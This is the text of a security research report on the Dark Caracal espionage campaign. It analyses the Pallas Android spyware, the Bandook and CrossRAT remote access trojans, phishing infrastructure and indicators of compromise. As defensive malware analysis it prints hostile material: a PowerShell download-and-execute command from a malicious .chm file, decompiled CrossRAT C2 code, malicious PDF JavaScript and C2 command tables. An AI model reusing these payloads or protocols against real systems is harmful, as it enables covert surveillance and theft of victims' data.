The Initial Compromise Figure 15: The Android malware infrastructure is designed to attract victims into the campaign through two different mechanisms: phishing campaigns that separately lead to a watering hole server (secureandroid[.
]info) and a server designed to accept credentials via a spoofed login 9 Pallas Cat is another name for Manul, a reference to EFFs Op Manul campaign on this actor Dark Caracal relies primarily on social engineering via posts on a Facebook group and WhatsApp messages in order to compromise target systems, devices, and accounts.
At a high-level, the attackers have designed three different kinds of phishing messages, the goal of which is to eventually drive victims to a watering hole controlled by Dark Caracal.
18 SECURITY RESEARCH REPORT The group distributes trojanized Android applications with the Pallas malware through its watering hole, secureandroid[.
]info.
Many of these downloads include fake messaging and privacy- oriented apps.
There is also some indication that Dark Caracal has used physical access in the past to install the Android malware.
Figure 16: secureandroid[.
]infos app download page Figure 17: A text message found from a possible victims device 19 SECURITY RESEARCH REPORT Social Engineering and Spear-Phishing Dark Caracal uses phishing messages through popular applications, such as WhatsApp, in order to direct people to the watering hole.
Dark Caracal infrastructure hosts phishing sites, which look like login portals for well known services, such as Facebook, Twitter, and Google.
We found links to these pages in numerous Facebook groups that included Nanys in their titles.
These groups are listed in the appendix.
Figure 18: Left: Extracted from WhatsApp messages database Right: Facebook group links to watering hole Figure 19: Dark Caracal credential phishing portals 20 SECURITY RESEARCH REPORT Google has indexed several of these phishing campaigns from the tweetsfb[.
]com server.
We were able to link a number of phishing domains dating to the mid-to-late 2016 time period from this data.
We believe the attackers used these phishing servers to capture login credentials, hijack accounts, and to push out more spoofed messages to widen their pool of victims.
Phishing links posted in Dark Caracal linked Facebook groups include politically themed news stories, links to fake versions of popular services, such as Gmail, and links to trojanized versions of WhatsApp.
Figure 20: Google indexing of tweetsfb[.
]com campaigns Figure 21: Dark Caracal phishing links posted on Facebook 21 SECURITY RESEARCH REPORT Four Facebook profiles similar in theme liked the phishing groups.
Dark Caracal likely used these fake profiles to initiate communication with victims and build a rapport before directing them either to content on the Nanys Facebook groups or to the secureandroid[.
]info domain directly.
Surveillanceware  Mobile Capabilities Pallas  Dark Caracals Custom Android Samples Using our global sensor network, Lookout researchers identified 11 unique Android surveillanceware apps tied to the Operation Manul campaign10.
The trojanized apps still retain the legitimate functionality of the apps they spoof and behave as intended.
The apps are found predominantly in trojanized versions of well-known secure messaging apps including: Signal (org.thoughtcrime.securesms) Threema (ch.threema.app) Primo (com.primo.mobile.android.app) WhatsApp (com.gbwhatsapp) Plus Messenger (org.telegram.plus) We also identified Pallas in trojanized versions of two apps aimed at users seeking to protect themselves and their data online: Psiphon VPN (com.psiphon3) Orbot: TOR Proxy (org.torproject.android) 10 http://www.cmcm.com/blog/en/security/2017-08-16/1101.html Figure 22: Dark Caracal fake Facebook profiles http://www.cmcm.com/blog/en/security/2017-08-16/1101.html 22 SECURITY RESEARCH REPORT Finally, with help from Googles Android Security team, we discovered Pallas lurking in several apps purporting to be Adobe Flash Player and Google Play Push for Android: Flash Player (com.flashplayer.player) Google Play Push (com.flashplayer.player) Neither the desktop nor the mobile malware tooling use zero day vulnerabilities.
Pallas samples primarily rely on the permissions granted at installation in order to access sensitive user data.
However, there is functionality that allows an attacker to instruct an infected device to download and install additional applications or updates.
Theoretically this means its possible for the operators behind Pallas to push specific exploit modules to compromised devices in order to gain complete access.
We found no attacker infrastructure containing rooting packages.
This highlights that, in many cases, advanced exploitation capabilities like those shown by surveillance tools such as Pegasus for iOS and Chrysaor for Android (that targeted both Android11 and iOS12 devices), are not essential, but helpful when targeting certain platforms.
11 https://blog.lookout.com/pegasus-android 12 https://blog.lookout.com/trident-pegasus Primo Signal WhatsApp Plus Messenger Threema Orbot TOR Proxy Psiphon Figure 23: Dark Caracal trojanized Android apps https://blog.lookout.com/pegasus-android https://blog.lookout.com/trident-pegasus https://blog.lookout.com/pegasus-android https://blog.lookout.com/trident-pegasus 23 SECURITY RESEARCH REPORT The Pallas first stage is capable of performing the following surveillance functionality on a compromised device: Take photos with front or back camera Exfiltrate all text messages including those received in the future Retrieve latitude / longitude from GPS Silently activate the device microphone to capture audio Retrieve contacts Scan nearby Wi-Fi access points and exfiltrate information about them, including their BSSID, SSID, authentication, key management, encryption schemes, signal strength, and frequency Retrieve chat content from secure messaging applications (this only applies when a victim is using a secure messaging app that has been trojanized with Pallas) Retrieve device metadata Retrieve text messages Retrieve information about all accounts Send an SMS to an attacker-specified number Retrieve call logs Retrieve messages and any corresponding decryption keys from messaging apps Retrieve a list of installed packages Download and install additional apps Upload attacker specified files Delete attacker specified files and directories Harvest credentials via phishing pop-ups C2 Communications with Malware Implants All samples belonging to the Pallas malware family have the same capabilities and functionality described in the previous section.
However, obfuscation did differ between them.
For reference, code snippets shown in the following section have been taken from a trojanized version of WhatsApp with a package name of com.gbwhatsapp and a SHA1 hash of ed4754effda466b8babf87bcba2717760f112455.
Like most other surveillanceware, communication with the C2 includes three main phases: 1.
Regular beaconing to the remote HTTP server.
2.
Handling any outstanding attacker specified commands.
3.
Exfiltration / uploading of victim data to C2 servers.
Pallas samples have a number of different entry points via broadcast receivers, specifically the C2 communications reside in the com.receive.
MySe.
24 SECURITY RESEARCH REPORT In all Pallas samples Lookout analyzed, domain information and URL paths are hardcoded as encrypted values.
The actor uses AES encryption and chose to use the secret key of Bar12345Bar12345 and initialization vector of RandomInitVector, which appears in a post describing how to use AES encryption in Java13.
Examples of AES encrypted, base64 encoded domains and URL paths present in some Pallas samples include: krgbAdOUCGKEnuCRp5seE2eMWUktZQR64RBdkNoH/O0NFo9ByRTFhjqa2UX2Y9k krgbAdOUCGKEnuCRp5seA/hX2erfMp49exa8zoZgMlBICjGuOSqrvGRCjgrZ4 These two examples decrypt to: https://adobeair[.
]net/wp9/add.php https://adobeair[.
]net/wp9/upload.php The general format of Pallas requests can be written as https://adobeair[.
]net/campaign_identifier/add.php or upload.php.
The add.php script is used for several operations, including compromised device check-ins as well as C2 instruction execution.
We also determined that it is able to retrieve location information (GPS data) and general metadata about a victims device.
The following table provides additional details around the structure of these requests.
In all cases, the Content-Type header is set to application/x-www-form-urlencoded.
The listed ac parameter identifies the type of request made to the C2.
13 https://stackoverflow.com/questions/15554296/simple-java-aes-encrypt-decrypt-example Figure 24: Actions that trigger the Pallas malware samples to do work https://stackoverflow.com/questions/15554296/simple-java-aes-encrypt-decrypt-example 25 SECURITY RESEARCH REPORT Description Purpose Of The Request HTTP Parameters(KeyValue) Required Retrieve data from a compromised device, including text messages, calls, contact information, Wi-Fi details, and accounts.
Parameter pr is 1 if sufficient permissions exist, 0 otherwise, and 111111111111, if the build version of the device is lower than 23.
Check-In with C2 acchkcm1 uiddevice_id prapp_has_permisions The victims GPS location is communicated to the C2 every 120 minutes.
GPS location acchkcm1 uiddevice_id altLatitude longLongtitude Request responsible for gathering general device metadata and uploading to C2.
This request is triggered via several entry points including, but not limited to, the creation of the app on the device.
General Device Information aciu uidDeviceID imeiDeviceID nbNone osReleaseBuildVersion manManufacturerModel opNetworkOperatorName wifiIsConnectedToNetwork cam NumberOfCameras verversionOftheApp prpermisionsGranted idtCurrentDate ecrExistAcall_record Responses from C2 infrastructure to devices infected with Pallas consist of chunks of data separated by a .
The following table shows the commands that are currently supported.
Some of these require the victims device to report back to the C2 and/or upload files to it via HTTP POST requests.
The responses to the attacker commands detailed below are handled via the add.php page.
26 SECURITY RESEARCH REPORT Description C2 Command HTTP Parameters(KeyValue) Required Retrieve all the data from a compromised device, including text message, call information, contact details, Wi-Fi data, and account information to name a few.
GALL1 Toggle the call record functionality to on or off.
REC2 Upload file and directory access logs of the trojanized application to the C2 via a single file.
GFILE1 Take a picture using the front or rear camera and upload to the C2 server.
CAMG1 Download an update from attacker infrastructure, attempt to execute it, and notify the C2.
UPD1 acREPX uidDevice_ID RPUpdate Procedure Executed Delete an attacker-specified file from the device and notify the C2.
DELF1 acREPX uidDevice_ID RPFile Deleted : file_name Retrieve an attacker-specified file from a compromised device, uploading it to the C2.
UPF1 Download an attacker-specified file to the target device and notify the C2.
DWN1 acREPX uidDevice_ID RPFile Uploaded To Target : file_name Record an MPEG4 audio file (.mp4) for an attacker-specified duration.
Audio is captured with the devices microphone, and once complete is uploaded to the C2 server.
REC1 acREPX uidDevice_ID RPMicrophone Already in use by another app Performs the same functionality as detailed above for the REC1 command with the exception that the file is stored locally on external storage under the path .Temp/srec SMS1 acREPX uidDevice_ID RPMicrophone Already in use by another app Send a text message to an attacker-specified number.
SMS1 acREPX uidDevice_ID RPSMS sent todestinationAddress Displays an alert with a phishing theme on a compromised device with the intention of stealing the victims credentials.
Any entered credentials are sent to attacker servers.
PWS1 acPPWS uidDevice_ID PSvictims credentials Checks the Android build on the device as well as the permissions of the app.
PRM1 If the installed Pallas sample is a trojanized version of Telegram, WhatsApp, Threema, or Primo, then retrieve their databases and, if present, associated keys.
WT1 Create a zip file of the shared_pref for the installed Pallas app and upload it to C2 infrastructure.
SHPR acGTMBF TFXa string set by C2 Manipulate Bitmap images, convert to JPG, and upload to C2.
SILF Same operation as SILF but on a directory of images.
SIFO acGTMBF TFXa string set by C2 Split an attacker-specified file into chunks, saving them to external storage under the path .Temp/spd/.
SPLT1 acREPX uidDevice_ID RPfileName Splitted Create a zipfile of the contents of an attacker-specified directory and upload it to a C2 server.
ZDIR1 27 SECURITY RESEARCH REPORT Pallas handles the exfiltrated data server-side via the upload.php script.
This accepts HTTP POST requests that have the following headers and structure, where op_id specifies the type of file being uploaded.
When Pallas receives the GALL1 instruction, it uploads exfiltrated data as a zip archive or saves it as a .db file.
For most .db files, each line is base64 encoded and prepended with the string .
When decoded, each line translates to a piece of exfiltrated data.
Each piece of information is associated with a content keyword or data type.
This can be represented as follows: DataTypeseparator[fieldseparator...fieldseparator] POST Request properties Connection : Keep-Alive ENCTYPE : multipart/form-data Content-Type : multipart/form-databoundary Uploaded_file : abs_path_file_on_victim_device upload.php?testapp_idopop_idrnextraextra2[FLS RLD] --\r\n Content-Disposition: form-data name\uploaded_file\filename\abs_path_file_on_victim\\r\n \r\n data_from_victim_to_upload\r\n ----\r\n 28 SECURITY RESEARCH REPORT Data Data Type Fields Description SMS A0X01 date address body id type All SMS fields are set according to the Android SMS content provider documentation14 in which the address is the address of the other party and the type may be any of the following values: 0 : ALL 1: INBOX 2: SENT 3:DRAFT 4:OUTBOX 5:FAILED 6: QUEUED Contacts A0X02 Display_name Data1 Times_contacted Last_time_contacted All contacts fields are set according to the Android ContactsContract documentation15.
Calls A0X03 Number Type Date Duration All contacts fields are set according to the Android documentation for phone calls16 in which type is a string with any of the following values: INCOMING OUTGOING MISSED null Date is in the standard Java SQL DATE format17.
Installed package A0X04 Application_label Package_name Version_name Version_code Specifies the list of installed packages on a victims device.
Browsing History A0X05 Page_title Page_URL Specifies the web pages a victim has visited.
Analysis of all known Pallas samples seen to date has resulted in the identification of the following 10 data types: 14 https://developer.android.com/guide/topics/providers/content-provider-basics.html 15 https://developer.android.com/reference/android/provider/ContactsContract.
CommonDataKinds.
Phone.html 16 https://developer.android.com/reference/android/provider/CallLog.
Calls.html 17 https://docs.oracle.com/javase/7/docs/api/java/sql/Date.html https://developer.android.com/guide/topics/providers/content-provider-basics.html https://developer.android.com/guide/topics/providers/content-provider-basics.html https://developer.android.com/reference/android/provider/ContactsContract.
CommonDataKinds.
Phone.html https://developer.android.com/reference/android/provider/CallLog.
Calls.html https://docs.oracle.com/javase/7/docs/api/java/sql/Date.html 29 SECURITY RESEARCH REPORT Data Data Type Fields Description Bookmarks A0X06 Bookmark_Title Bookmark_URL Specifies the web pages a victim has bookmarked.
WiFi A0X07 SSID Capabilities Level Frequency BSSID All the fields are defined in Android scan result documentation18.
Accounts A0X08 Name Type Name is the account name of a victim and type is the authenticator name of that account.
Access Logs MIAMO App_name App_path String1 Specifies a .db file that contains File and Directory access logs of a trojanized app.
The MIAMO information line is always the first line in such files.
App_path is always a path that a Pallas sample has access to, for example, the SDCard or the applications data folder.
String1 is either set to NO or an absolute path.
Access Logs D Directory_path Directory_name Directories that the app has accessed.
Only exists in a file with MIAMO as the first line.
Access Logs F File_path File_name File_length LasModifiedTime Files that the app has accessed.
Only exists in a file with MIAMO as the first line.
(
continued from page 28) 18 https://developer.android.com/reference/android/net/wifi/ScanResult.html 30 SECURITY RESEARCH REPORT Title: Android Update Package Name: com.esn.wal SHA1: 835befd9376f90a12892876b482c1dcc39643a09 MD5: d965c3736e530bfdbfde2cc6a264f2aa RequestID : 0 C2 Phone Added : 7820435193 MobileTargetUID : 0 VoicePhone Added : 7820944266 Version : 0 VoicePhone Added : 78235424312 MobileTargetID : nana Logging : 0 HeartBeatInterval : 120 C2 : 180.235.133.57 TrojanID : nana Ports: 21, 53, 443, 4111 TrojanUID : 03FDAF68 Included exploits - Exynos Abuse UserID : 1000 Installed Modules SMS Phone log collection Call recording Device tracking MaxInfections : 30 RemovalAtDate : 0 RemovalIfNoProxy : 0 Previous Use of FinFisher Spyware In addition to the Pallas samples, we discovered a previously unreported FinFisher sample19 on the tweetsfb[.
]com server.
It is unclear whether this sample was a demo provided to this actor or if the actor came across it via other means.
The date of package and compilation for this sample is 2014-03-27 17:26:14 UTC.
Below is the extracted configuration and relevant details of this sample.
19 https://en.wikipedia.org/wiki/FinFisher https://en.wikipedia.org/wiki/FinFisher 31 SECURITY RESEARCH REPORT Surveillanceware - Desktop Components The desktop malware component exists in a range of file types, including executables, zip archives, PDFs, and Microsofts composite document file format.
No zero days or publicly known exploits were located in these files and, based on several of the documents, the primary attack vector is believed to be social engineering via spear-phishing.
Analysis into Dark Caracals desktop tooling did result in the discovery of a new cross-platform Java RAT known as CrossRAT and confirmed that this actor is using new variants of the Bandook family.
Bandook The Bandook RAT was originally identified during EFFs Operation Manul research, however, this investigation surfaced new variants belonging to this family.
Written in Delphi and targeting Windows operating systems, Bandook samples are packed at multiple stages in order to both evade detection and slow down the process of reverse engineering by security analysts.
At the time of writing, 19 out of 63 antivirus engines on the malware repository VirusTotal flagged most Bandook samples as malicious.
First stage samples of the version of Bandook used by Dark Caracal include what appears to be a drawing program and a trojanized version of the Psiphon circumvention software20.
While the drawing application was not fully functional and did not provide a user interface when launched, the modified version of Psiphon contained the complete legitimate functionality of the original application.
The first stage malware is signed with a valid SSL certificate issued by Certum CA for Ale Couperus (alecouperusmail[.
]com).
We have identified several distinct samples signed with this certificate.
This suggests that the actors behind these samples control the private key for this certificate and have the ability to sign arbitrary packages.
It is unclear at this time whether the private key associated with this certificate has been stolen or if the attackers obtained it via legitimate sources.
Upon initial execution, the first stage of Bandook decrypts several strings that are stored in the data section and base64 encoded.
Below is the plaintext of some of these strings, which we can see as Windows API calls.
20 SHA256 hash: ed25b0c20b1c1b271a511a1266fe3967ab851aaa9f793bdf4f3d19de1dcf6532 32 SECURITY RESEARCH REPORT The malware uses these API calls to decrypt Bandooks second stage, an embedded resource.
This resource is a randomly named eight-character string of uppercase letters and numbers.
During our research, we only observed the numbers two and three being used and these were often positioned towards the end of the string.
Following the decryption of the second stage, the iexplore.exe binary is started and immediately replaced with the loaded resource.
This is a technique known as process hollowing21.
The second stage Bandook samples are occasionally packed with the following modified UPX packer UPX Modified  igBy Ahmed18.
Not all second stages were packed indicating that the authors may be actively developing the malware.
As expected, the core malicious functionality resides in the second stage, which attempts to implant itself in the system and contact command and control infrastructure for further instructions.
At this point, the malware has the ability to start new processes, manipulate the file system and registry, take screen captures, escalate privileges, create mutexes, get system information, execute commands, get window names, and beacon to infrastructure.
21 https://attack.mitre.org/wiki/Technique/T1093 Figure 25: Decoded strings from the Bandook sample https://attack.mitre.org/wiki/Technique/T1093 33 SECURITY RESEARCH REPORT Bandook communication with attacker infrastructure takes place over a TCP port with HTTP payloads Base64 encoded and suffixed with the string .
The following is an example of a decoded communication from an infected system: Instructions sent from Dark Caracal infrastructure to Bandook compromised systems make use of  as a delimiter, the same approach used by the Pallas Android malware.
This suggests there is a possibility Bandook and Pallas were written by the same author or that the author of one was inspired by the authors of the other.
We found Bandook supports the following set of commands.
From this, we can infer some additional functionality, including the ability to view the victims webcam, record sound, get Wi-Fi connections, manipulate USB devices, manipulate the Chrome browser, sign the victim out of Skype, search for files, upload new files to the device, execute secondary infections, or participate in a DDOS attack.
Systems infected with this Bandook variant contain a copy of the first stage in the path C:\Users\user\AppData\ Roaming\appname\appname.exe.
Similarly, in such cases, autostart registry keys are written with the same name as the dropped file to HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run.
000018128192.168.1.82610930EFFuserSeven0d 0h 3m04.121/04/2017000000--None0 CaptureScreen DeleteFileFromDevice DeleteAutoFTPFromDB Init CopyMTP ExecuteTV ClearCred ChromeInject ExecuteAMMY GetCamlist DisableChrome DDOSON SendCam RarFolder ExecuteTVNew StopCam SendUSBList getkey Uninstall SignoutSkype SendMTPList CompressArchive StealUSB SendMTPList2 GenerateReports StartFileMonitor GrabFileFromDevice GetWifi SendFileMonLog PutFileOnDevice StartShell GetUSBMONLIST StopFileMonitor GetSound GetFileMONLIST SendinfoList SplitMyFile StopUSBMonitor EnableAndLoadCapList GetAutoFTP SearchMain DisableMouseCapture SendStartup StopSearch AddAutoFTPToDB 34 SECURITY RESEARCH REPORT CrossRAT While investigating the axroot[.
]com domain, we discovered a new remote access trojan called CrossRAT that we believe was developed by, or for, Dark Caracal.
Written in Java with the ability to target Windows, Linux, and OSX, CrossRAT is able to manipulate the file system, take screenshots, run arbitrary DLLs for secondary infection on Windows, and gain persistence on the infected system.
When executed in a Windows environment, CrossRAT attempts to copy itself to AppData\Local\ Temp\mediamgrs.jar before, like Bandook, creating an auto-start registry key in HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run with the name mediamgrs.
On OSX and Linux, it attempts to write a copy of itself to /usr/var/mediamgrs.jar.
If CrossRAT does not have sufficient permissions to write to this directory, it will fail back to the following path under the users home directory: HOME/Library/mediamgrs.jar.
For CrossRAT installations on OSX, a Launch Agent is created under HOME/Library/ LaunchAgents/mediamgrs.plist to ensure that it will be launched again when the computer restarts.
When on Linux, this persistence is achieved by writing an autorun file to HOME/.config/autostart/mediamgrs.desktop.
CrossRAT performs communications to its C2 infrastructure via a TCP socket.
The following is an example of content sent over the wire from a compromised machine: CrossRAT uses a similar structure to Pallas and Bandook when communicating with infrastructure.
Specifically, it uses  to terminate the response string and uses  to start command strings.
Below is a code snippet from a CrossRAT sample.
The response prefixes, hard coded C2 server of flexberry[.
]com, and fixed port of 2223, are clearly visible.
5287249f-caa2-4b66-850c-49eedd46cf470000192.168.1.16Windows 76.1EFFuser5859480.1GROUP2 public final class k  public static boolean a  false // Hardcoded C2 Information public static String b  flexberry.com // C2 Server public static int c  2223 // C2 Port 35 SECURITY RESEARCH REPORT public static String d   // Argument delimiter public static String e    // delimiter within arguments public static UUID f public static String g public static Preferences h public static String i  0.1 // Version Number public static String j  GROUP2 // Campaign name public static Socket k public static Socket l // Server command prefixes public static String m  0000 // Enumerate root directories on the system.
0 args public static String n  0001 // Enumerate files on the system.
1 arg public static String o  0002 // Create blank file on system.
1 arg public static String p  0003 // Copy File.
2 args public static String q  0004 // Move file.
2 args public static String r  0005 // Write file contents.
4 args public static String s  0006 // Read file contents.
4 args public static String t  0007 // Heartbeat request.
0 args public static String u  0008 // Get screenshot.
0 args public static String v  0009 // Run a DLL (windows only).
1 arg // Client response prefixes public static String w  0000 // client hello public static String x  0001 // heartbeat response public static String y  0002 // List of system root directories public static String z  0003 // Status message for file manager connect, unimplemented public static String A  0004 // Status message for file manager connect, unimplemented public static String B  0005 // List of files on system public static String C  0006 // End list of files on system public static String D  0007 // file created status message public static String E  0008 // file written status message public static String F  0009 // file moved status message public static String G  0010 // file write status public static String H  0011 // file read status and file contents public static String I  0012 // send screenshot contents public static String J  0013 // Run DLL status message public static String K // Filepath for CrossRAT (continued from page 34) Analysis of CrossRAT shows that it has a version number of 0.1, which indicates that its malicious capabilities are still under development.
Implemented functionality includes the ability to enumerate attacker-specified directories, copy / move / read files, beacon to C2 infrastructure, run attacker specific libraries (Windows only), and create empty files.
The CrossRAT sample we discovered was last modified in March of 2017.
36 SECURITY RESEARCH REPORT var v  app.viewerVers, ion if (v  7) var n  0 if (this.dataObjects  null) n  this.dataObjects.length if (v  5  v  6  n  0  (app.viewerVariation  Full  app.viewerVariation Fill-In)) if (this.external\) app.alert(This document has file attachments.
To view the attachments, click the Save button to save a copy of the document, open the copy in Acrobat, and use the File  Document Properties  Embedded Data Objects menu.,
3, 0) else app.\alert(This document has file attachments.
Use the File  Document Properties Embedded Data Objects menu to view the attachments.,
3, 0) else if (v  6  v  7) if (n  0) var np  this.numPages syncAnnotScan()\ for (var p  0 p  np  n  0 p) var annots  this.getAnnots(p) if (annots  null) for (var i  0 i  annots.length i) if (annots[i].type  FileAttachment) n  1\ break      if (n  0) if (this.external) app.alert(This document has file attachments.
To view the attachments, click the black triangle at the top of the document windows vertical scrollbar and \ choose File Attachments.,
3, 0) else app.alert(This document has file attachments.
Use the Document  File Attachments menu to view the attachments.,
3, 0)    --- this.exportDataObject( cName: BL920123.doc, nLaunch: 2 ) Infected Documents We identified several Word documents which appear to be intended for use as infection vectors in phishing attacks.
None of the documents appear to contain any exploits, but rather rely on macros to run malicious code on a target system.
If executed in an environment that has macros enabled, the malware downloads its second stage components.
We saw this same process in numerous malicious PDF files that used javascript to download secondary stages.
The following script is an example of this functionality, which is identical to the malicious Word doc with the SHA256 hash e5eeb0a46dac58b171ebcefec60e9ff351fc7279d95892c6f48f799a1a364215 (Word macro fixed.doc).
37 SECURITY RESEARCH REPORT Other Samples Surprisingly, we also observed a malicious Microsoft Compiled HTML Help file with the .chm extension.
Primarily used for software documentation, .chm files were first introduced with the release of Window 98.
However, they are still supported in Windows 7.
The chm file attempts to execute a command via Powershell that downloads an additional file called ne.abc from the server cma-cgrm[.
]com.
Below is the command contained in the malicious .chm file.
At the time of analysis, this server was no longer live and, as such, the associated ne.abc binary has not yet been acquired and does not appear on VirusTotal.
The cma-cgrm[.
]com domain is not obviously connected with other infrastructure.
Figure 26: An observed malicious Word file that, when executed, attempts to run macros in order to download and execute Bandook stage one cmd.exe,/c powershell.exe -ExecutionPolicy bypass -noprofile -WindowStyle Hidden (New-Object System.
Net.
WebClient).DownloadFile(https://cma- cgrm[.
]com/ebusiness/ne.abc,TEMP\chmplg.exe)Start-Process TEMP\chmplg.exe 38 SECURITY RESEARCH REPORT Infrastructure While analyzing adobeair[.
]net, we uncovered sprawling infrastructure used by Dark Caracal.
This infrastructure serves a broad set of purposes, including acting as storage for exfiltrated data, masquerading as an Android App Store hosting malware, delivering attacker commands to infected devices, and providing phishing content aimed at gathering credentials for various well known services.
We found much of this infrastructure hosted on servers provided by Shinjiru, an offshore bulletproof hosting provider that allows its customers to host almost any content.
WHOIS information listed for the adobeair[.
]net C2 server led to the discovery of many of these domains, as did scanning of Shinjiru IP blocks for servers running a set of services.
This acted as a fingerprint for Dark Caracals infrastructure.
To date, the following domains and IPs have been identified as connected to the infrastructure used by Dark Caracal.
Domain Links / Connection to Dark Caracal adobeair[.
]net Shared C2 server / Exfiltrated data server secureandroid[.
]info Blackmarket Android App Store tweetsfb[.
]com Watering hole, Facebook groups, used to phish credentials, running Apache Win32 fbarticles[.
]com Phishing domain linked by WHOIS (op13) Arablivenews[.
]com [EXPIRED] WHOIS (op13) Nancyrazzouk[.
]com [EXPIRED] WHOIS (nancyrazzouk) Arabpublisherslb[.
]com WHOIS (nancyrazzouk) flexberry[.
]com 94[.]229[.]70[.
]7 (Windows) planethdx[.
]com 94[.]229[.]70[.
]7 (Windows) globalmic[.
]net 94[.]229[.]70[.
]7 (Windows) megadeb[.
]com 94[.]229[.]70[.
]7 (Windows) opwalls[.
]com 94[.]229[.]70[.
]7 (Windows) mecodata[.
]com 94[.]229[.]70[.
]7 (Windows) sabisint[.
]com 94[.]229[.]70[.
]7 (Windows) roxsoft[.
]net 94[.]229[.]70[.
]7 (Windows) axroot[.
]com Windows malware campaign skypeupdate[.
]com Windows malware campaign playermea[.
]com Windows malware campaign kaliex[.
]net Windows malware campaign tenoclock[.
]net Windows malware campaign ancmax[.
]com Windows malware campaign 39 SECURITY RESEARCH REPORT The following relevant contact information has also been identified during this investigation.
Primary Command and Control Server As noted, adobeair[.
]net is hosted on Shinjiru.
This bulletproof hosting company allows its customers to host almost any type of content, protects client identity, accepts Bitcoin for payment, and is more resilient than other providers to takedowns22.
Shinjiru has also been used to host many of the Dark Caracal Windows domains dating back over seven years to April 27th, 2010 (see a list of Windows malware domains in the Windows infrastructure section below).
At the time of writing, adobeair[.
]net is currently live and running a fairly unique set of services.
We have used this server as a fingerprint in the discovery of further related infrastructure.
These services include XAMPP for Windows 5.6.31, Apache 2.4.26, MariaDB 10.1.25, PHP 5.6.31, phpMyAdmin 4.7.0, and OpenSSL 1.0.2.
We confirmed these via an nmap scan of the adobeair server.23 Email Link/Context op13mail[.
]com Primary email contact for C2 server.
Associated with rami jabbour Hadi Maz nancyrazzoukmail[.
]com nancyrazzouk hicham.dikamail[.
]com SSL cert in exe hetemramadani5gmail.com SSL cert in exe alecouperusmail.com SSL cert in exe 22 https://www.shinjiru.com/company/about-us/ 23 https://www.apachefriends.org/download.html Figure 27: Nmap scan of adobeair[.
]net https://www.shinjiru.com/company/about-us/ https://www.apachefriends.org/download.html 40 SECURITY RESEARCH REPORT The adobeair[.
]net C2 server had the Apache mod_status module enabled.
This provides operators with information on server activity, performance, and a statistics page under /server-status that details connected clients and the server resources they are accessing.
By programmatically monitoring this page, we were able to determine the source IPs of infected clients and admins logging into the console.
The adobeair[.
]net server has, as of late September 2017, been moved to a new hosting provider, M247, and the operators have improved the security.
WHOIS history for adobeair[.
]net lists Nancy Razzouk with an email address of op13mail[.
]com as the registrant.
We have identified the Nancy Razzouk persona as the SSL signer of the Windows malware samples and the registrant of multiple domains.
Its reuse has helped identify further Dark Caracal infrastructure.
Figure 28: WHOIS information for adodeair[.
]net as observed in August 2017 41 SECURITY RESEARCH REPORT Watering Hole Server During this investigation, we determined this server is the only infrastructure we discovered that serves up malicious apps belonging to the Pallas malware family.
A detailed analysis of these applications can be found under the Android Surveillanceware section.
As with other Dark Caracal infrastructure, the secureandroid[.
]info domain was also registered with the bulletproof hosting company Shinjiru.
We found links to these landing pages in the exfiltrated content of compromised devices, which indicates it is actively being used during the attack chain.
As of December 2017 it appears that secureandroid[.
]info has had its domain expire.
Phishing Domains We identified the Dark Caracal domain tweetsfb[.
]com while analyzing the secureandroid[.
]info server source code.
We identified two bit[.
]ly URLs on this server that resolve to other pages on the tweetsfb site that were carefully crafted to look like the Facebook and Twitter login portals.
The copyright dates suggest these pages are clones of the originals from 2015.
Figure 29: Screenshot of the secureandroid[.
]info watering hole server, a distribution point for Pallas Figure 30: Dark Caracal clones of Twitter and Facebook login portals 42 SECURITY RESEARCH REPORT These bit[.
]ly links and their respective resolving links are: http://bit[.
]ly/2j3r285 points to http://www.tweetsfb[.
]com/services/100001472583690/twitter/articles/100001/ http://bit[.
]ly/2iByHcu points to http://tweetsfb[.
]com/services/100001472583690/facebook/groups/100002/ The tweetsfb[.
]com domain was found to share an IP address (172.94.17.147) with the following additional domains.
We were able to find additional phishing campaigns in VirusTotal that referenced fbarticles[.
]com.
While fbarticles was registered by the op13mail[.
]com address with the name Hadi Mazeh, the WHOIS information for fbtweets was private.
Figure 31: Domains sharing the same IP address as tweetsfb[.
]com Figure 32: Detections in VirusTotal for fbarticles[.
]com 43 SECURITY RESEARCH REPORT Note: we identified three further domains  facebookservices[.
]org, gmailservices[.
]org, and twiterservices[.
]org that were once a part of this campaign.
Those domains now appear to be sinkholed.
When we discovered these domains, the threat actors had already taken them offline and another individual had purchased them.
This individual is associated with unrelated domains that are connected to other APT reports.
However, we noticed that the individual purchased the domains after the APT reports went public.
While were not sure why this individual is purchasing, sinkholing, and monitoring these domains, we think its an interesting note.
Figure 33: Detections in VirusTotal for the IP address that hosted fbarticles[.
]com 44 SECURITY RESEARCH REPORT Windows C2 Servers The Windows server infrastructure has a much longer history than the Android infrastructure, showing that the actors are willing to evolve to new technologies, such as mobile, as they become more valuable targets.
The Windows malware servers hosted control panels for multiple campaigns using various malware that included IRIS RAT, Bandook, and Arcom RAT.
We found these servers hosting exfiltrated desktop content, Windows malware signed by alecouperusmail[.
]com, and the CrossRAT trojan.
All of these domains share the same IP on more than one occasion and have migrated between hosting providers in the same time window.
Most of these domains were hosted on Shinjiru, the same hosting server for the Android campaign.
The following screenshot shows HTTP 200 OK response codes for http://server/Payload/ Each of the following directories contained a login panel for either IRIS RAT or Arcom RAT.
ancmax[.
]com planethdx[.
]com mecodata[.
]com globalmic[.
]net kaliex[.
]net axroot[.
]com sabisint[.
]com megadeb[.
]com roxsoft[.
]net flexberry[.
]com opwalls[.
]com Figure 34: Various RAT login portals found on a mix of the C2 servers 45 SECURITY RESEARCH REPORT Using the Wayback Machine we identified the signature Win32 apache server running on skypeupdate[.
]com in 2016.
This server was first seen resolving to an IP belonging to Shinjiru in late 2013 and last seen resolving to a Shinjiru IP in late 2016.
The oldest domain we identified as part of this infrastructure is flexberry[.
]com.
The following screenshot shows passive DNS resolution dating back to 2010.
Figure 35: Passive DNS resolutions for the infrastructure 46 SECURITY RESEARCH REPORT Appendix Indicators of Compromise and Actor Tracking IOC Email op13mail[.
]com hicham.dikamail[.
]com nancyrazzoukmail[.
]com alecouperusmail[.
]com hetemramadani5gmail.com infosecureandroid[.
]info IP 111.90.141[.
]70 111.90.145[.
]64 111.90.141[.
]38 111.90.158.121 111.90.141.169 111.90.145.64 111.90.150.221 180.235.133.57 172.111.250.156 77.78.103.41 74.208.167[.
]252 111.90.140[.
]11 111.90.150[.
]221 Phone Number 7820435193 7820944266 7820944266 Domain adobeair[.
]net tweetsfb[.
]com secureandroid[.
]info fbtweets[.
]net gsec[.
